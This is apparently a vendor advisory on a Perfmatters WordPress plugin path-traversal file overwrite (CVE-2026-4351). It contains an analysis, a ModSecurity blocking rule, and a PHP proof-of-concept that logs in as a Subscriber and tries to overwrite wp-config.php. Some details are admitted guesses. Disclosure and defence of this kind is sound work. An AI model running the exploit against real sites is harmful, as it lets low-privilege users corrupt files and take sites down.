Atomic Edge analysis of CVE-2026-4351 (metadata-based):
The Perfmatters plugin contains an authenticated arbitrary file overwrite vulnerability via path traversal. Attackers with Subscriber-level WordPress access can exploit a missing authorization check and nonce verification in the bulk action handlers for code snippets. This allows them to write fixed PHP docblock content to arbitrary server files, potentially causing denial of service. The CVSS score of 8.1 reflects the high impact on integrity and availability with low attack complexity.
Atomic Edge research identifies the root cause as improper pathname limitation (CWE-22) in the `PMCS::action_handler()` method. The vulnerability description confirms the method processes bulk actions without authorization or nonce verification. The `$_GET[‘snippets’][]` parameter values pass unsanitized through `Snippet::activate()` and `Snippet::deactivate()` methods. These methods call `Snippet::update()` which uses `file_put_contents()` with user-controlled path data. This analysis infers the path traversal occurs because the plugin does not validate or sanitize the snippet file paths before writing. The description confirms the fixed content written is a PHP docblock, limiting remote code execution potential.
Exploitation requires an authenticated WordPress user with at least Subscriber privileges. Attackers send a GET or POST request to the plugin’s AJAX handler endpoint, typically `/wp-admin/admin-ajax.php`. The request includes an `action` parameter matching the plugin’s AJAX hook, likely containing `perfmatters` or `pmcs`. The bulk action parameter contains `activate` or `deactivate`. The `snippets[]` parameter contains a path traversal payload like `../../../wp-config.php`. The plugin processes this as a snippet file path and writes the fixed PHP docblock content to the traversed location. Multiple files can be targeted in a single request using array notation.
Remediation requires implementing multiple security controls. The patched version 2.6.0 likely adds capability checks to verify users have appropriate permissions for snippet management. Nonce verification prevents CSRF attacks and ensures requests originate from legitimate plugin pages. Path sanitization should normalize snippet file paths and restrict them to designated directories. Input validation should reject paths containing directory traversal sequences. The plugin should also validate that target files have expected extensions and are within the WordPress installation directory.
Successful exploitation enables attackers to overwrite critical server files with PHP docblock content. While the fixed content prevents direct code execution, overwriting files like `.htaccess`, `wp-config.php`, or `index.php` can cause denial of service by breaking website functionality. Overwriting WordPress core files may disable authentication or cause complete site failure. Attackers could corrupt plugin files to disable security features. The vulnerability does not enable reading file contents or uploading malicious code. Impact is limited to integrity and availability rather than confidentiality or remote code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4351 (metadata-based)
# Blocks exploitation of Perfmatters plugin arbitrary file overwrite via path traversal
# Targets the specific AJAX endpoint and parameter structure described in CVE
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264351,phase:2,deny,status:403,chain,msg:'CVE-2026-4351: Perfmatters Arbitrary File Overwrite via snippets Parameter',severity:'CRITICAL',tag:'CVE-2026-4351',tag:'WordPress',tag:'Plugin',tag:'Perfmatters'"
SecRule ARGS_POST:action "@rx ^(perfmatters|pmcs)_"
"chain,t:none"
SecRule ARGS_POST:bulk_action "@within activate deactivate"
"chain,t:none"
SecRule ARGS_POST:/snippets[.*]/ "@rx ..(/|%2f|%252f)"
"t:urlDecodeUni,t:lowercase,msg:'Path traversal detected in snippets parameter'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4351 - Perfmatters <= 2.5.9 - Authenticated (Subscriber+) Arbitrary File Overwrite via 'snippets' Parameter
<?php
/**
* Proof of Concept for CVE-2026-4351
* This script demonstrates authenticated arbitrary file overwrite in Perfmatters plugin.
* Assumptions based on vulnerability description:
* 1. AJAX endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter contains 'perfmatters' or 'pmcs'
* 3. Bulk action parameter is 'activate' or 'deactivate'
* 4. 'snippets[]' parameter accepts path traversal payloads
* 5. Authentication requires WordPress Subscriber-level credentials
*/
$target_url = "https://example.com/wp-admin/admin-ajax.php"; // CHANGE THIS
$username = "subscriber"; // CHANGE THIS - Subscriber-level user
$password = "password"; // CHANGE THIS
// File to overwrite (path traversal payload)
$target_file = "../../../wp-config.php"; // Example critical file
// Alternative targets: ../../../.htaccess, ../../../index.php, ../../wp-load.php
// First, authenticate to get WordPress cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'wpcookie');
// Create login request
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Atomic-Edge-PoC/1.0'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
echo "[!] Authentication failed. Check credentials.n";
unlink($cookie_file);
exit(1);
}
echo "[+] Authentication successfuln";
// Construct exploit request
// Based on common WordPress plugin patterns, the action likely contains 'perfmatters' or 'pmcs'
// Trying both common patterns for AJAX hooks
$possible_actions = ['perfmatters_action_handler', 'pmcs_action_handler', 'perfmatters_bulk_action'];
$possible_bulk_actions = ['activate', 'deactivate'];
foreach ($possible_actions as $action) {
foreach ($possible_bulk_actions as $bulk_action) {
$post_data = [
'action' => $action,
'bulk_action' => $bulk_action,
'snippets[]' => $target_file
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Atomic-Edge-PoC/1.0',
'X-Requested-With: XMLHttpRequest'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] Trying action: {$action}, bulk_action: {$bulk_action}n";
echo " HTTP Code: {$http_code}n";
// Check for success indicators
if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
echo "[!] Possible successful exploitation!n";
echo " Target file may have been overwritten with PHP docblock.n";
echo " Response snippet: " . substr($response, 0, 200) . "...n";
break 2;
}
}
}
curl_close($ch);
unlink($cookie_file);
echo "[+] PoC completed. Check target file for overwritten content.n";
echo " Note: The plugin writes fixed PHP docblock content, not arbitrary code.n";
echo " This may cause denial of service if critical files are corrupted.n";
?>